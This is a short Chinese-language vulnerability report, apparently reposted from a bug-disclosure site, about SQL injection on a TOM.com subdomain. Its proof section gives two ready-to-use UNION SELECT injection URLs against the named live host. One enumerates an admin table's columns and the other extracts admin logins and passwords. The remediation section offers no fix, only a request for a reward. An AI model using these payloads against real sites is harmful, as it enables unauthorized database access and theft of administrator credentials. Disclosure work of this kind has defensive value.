TOM分站存在注入漏洞可手工爆帐号跟密码

TOM分站存在注入漏洞可手工爆帐号跟密码 - 网站

来源：自学PHP网时间：2015-04-17 14:11 作者：阅读:次

[导读] 漏洞证明：http://dgbest.tom.com/special_issue.php?id=-37 union select group_concat(column_name) from information_schema.columns where table_name=0x6467626573745F61646D696E--http://dgbest.to......

漏洞证明：

http://dgbest.tom.com/special_issue.php?id=-37 union select group_concat(column_name) from information_schema.columns where table_name=0x6467626573745F61646D696E--

http://dgbest.tom.com/special_issue.php?id=-37 union select (select concat(group_concat(user_login,0x20,user_pass))) from dgbest_admin--

修复方案：
求礼物谢谢

作者咸鱼

新浪微号存在支付绕过漏洞 - 网站安全 - 自学p

TOM意见反馈管理系统后台注射 - 网站安全 - 自学

子栏目

TOM分站存在注入漏洞可手工爆帐号跟密码 - 网站

最新评论

添加评论

更多文章推荐

添加评论